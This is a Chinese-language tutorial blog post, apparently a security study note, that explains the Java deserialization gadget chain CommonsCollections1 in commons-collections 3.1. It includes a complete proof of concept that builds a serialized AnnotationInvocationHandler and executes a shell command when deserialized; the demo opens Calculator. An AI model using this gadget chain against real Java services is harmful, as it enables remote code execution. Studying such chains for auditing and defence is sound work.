Java代码审计:反序列化链CommonsCollections1详解

0x01 漏洞介绍

Apache Commons Collections是一个第三方的基础类库,提供了很多强有力的数据结构类型并且实现了各种集合工具类,可以说是apache开源项目的重要组件。

CommonsCollection在java反序列化的源流中已经存在5年

今天介绍的CommonsCollections1,反序列化的第一种RCE序列化链

CommonsCollections1反序列化漏洞点仍然是commons-collections-3.1版本

0x02 实验环境

  • maven的pom导入依赖
<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
 </dependencies>
  • 此实验Java版本,在Java 8u71以后的版本中修改了触发的类,所以不支持此链的利用

  • MACBOOK

  • IDEA 2020

此次实验代码:

https://github.com/godzeo/javasec_code_study/tree/master/src/main/java/CommonCollections

0x03 构造链-基础知识

看完之后,大概会总结一下,需要了解这⼏个接⼝和类的知识点

首先要从Transformer类开始

Transformer

Transformer它只是⼀个接⼝,只有⼀个待实现的⽅法:它的作用我感觉就是总接口吧

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

TransformedMap

TransformedMap在利用链中个人理解:是一个触发器,主要是后面类中的 实现类的Transformer()方法

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
  • 它是基本的数据类型Map类的做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个函数。
  • 这个函数,就是⼀个实现了Transformer接⼝的类,这个类也就是链中导向下一环的入口。
  • 第一个参数,要绑定修饰的map,第三个参数就是 valueTransformer就是要执行的Transformer接⼝的类。

ChainedTransformer

  • ChainedTransformer就是实现了Transformer接⼝的⼀个类

  • 它就可以承接下一步的操作。

  • 它的主要作⽤:

  • 将内部的多个Transformer串在⼀起

  • 就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

image-20200825164221874

代码如下:

public class ChainedTransformer implements Transformer, Serializable {
 			.......
}
......
  
public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }


public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
}

ConstantTransformer

  • ConstantTransformer是实现了Transformer接⼝的⼀个类

  • 简单就是你输入什么类,它就返回什么

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

InvokerTransformer

  • 这个类就是代码执行的关键了
  • 这个类的实现主要采用了反射的方法
  • 简单的说:可以通过这个类反射实例化调用其他类其他方法(任意的方法,也就是命令执行)
  • 只要参数可控,就是任意命令执行

看一下代码,其实就是反射的代码,给封装到transform方法里面了。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }

0x04 简单的DEMO

下面是P牛写的dome

简单的利上面的知识点,构造了一个简单的链,达到命令执行

package CommonCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"open -a Calculator"}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("zeo", "666");
    }
}

分析一下:

  1. 实例化new Transformer的数组,构造中间的小链子
  2. 小链子主要有两个ConstantTransformer,InvokerTransformer 这个两个构造好后,放入刚刚提到的ChainedTransformer类里面,他们就是连起来的里面,大概就是下面这么个情况image-20200825165856011
  3. 命令执行造好了,还有一个触发ChainedTransformer的方法,就是TransformedMap.decorate方法
  4. 实例化一个map对象,然后修饰绑定上transformerChain这个上面,每当有map有新元素进来的时候,就会触发上面的链
  5. 所以map对象put(“test”, “xxxx”)一下就会触发命令执行成功弹出了计算器

image-20200825170538165

0x05 改写POC

  • 上面的漏洞虽然触发了,但是其实是手动触发,没什么用的。

  • 反序列化洞,你不得找到一个反序列化的点,来触发这个洞吗?

  • 所以,目标是:找到⼀个类,它在反序列化的readObject逻辑⾥有类似的写⼊操作。

  • 这个类就是

    sun.reflect.annotation.AnnotationInvocationHandler 
    
  • 反序列化的实现方法

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}
  • 发现主要的触发点在 memberValue.setValue(),这个方法可以往map对象里面赋值。
  • memberValue成员变量是map对象
  • 所以最终的流程:

把之前构造的transform链包装成一个Map对象

将它作为AnnotationInvocationHandler反序列后的memberValue

在readObject反序列化的时候,触发memberValue.setValue()

然后再触发TransformedMap里的transform()

最后实现命令执行。

Transformer的利用也要改写

Transformer[] transformers = new Transformer[]{

                //利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
                //利用反射构造命令执行
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"open -a Calculator"}),
        };

改写就是将 Runtime.getRuntime() 换成了 Runtime.class

原因是:java.lang.Runtime 对象不能反序列化

方法可否序列化
Runtime.getRuntime()java.lang.Runtimeno
Runtime.classjava.lang.Classyes

重点:Java中不是所有对象都⽀持序列化,Java类 必须都实现了 java.io.Serializable 接⼝,才可以序列化,所以我们得换一个对象实现POC的改写

0x06最终POC

package CommonCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1poc {
    public static void main(String[] args) throws Exception {

        //构造Transformer的小链式
        Transformer[] transformers = new Transformer[]{

                //利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
                //利用反射构造命令执行
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"open -a Calculator"}),
        };
        // 将transformers链式的串起来在transformerChain内部
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "zeo");

        //绑定map到修饰器
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //反射获取AnnotationInvocationHandler,将内部的方法实例化他
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        //序列化操作,讲上述构造的handler恶意的对象,序列化保存
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        //没实际作用,就是打印看一下反序列化的数据
        System.out.println(barr);

        //触发反序列化操作,触发漏洞
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

成功执行:

image-20200827143035470

0x07总结

​ 还是挺有意义的吧,了解底层的原来,还有一些类的原理没有摸透,得好好再看看。

​ 反射的基础还是挺重要的,得多学习。

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值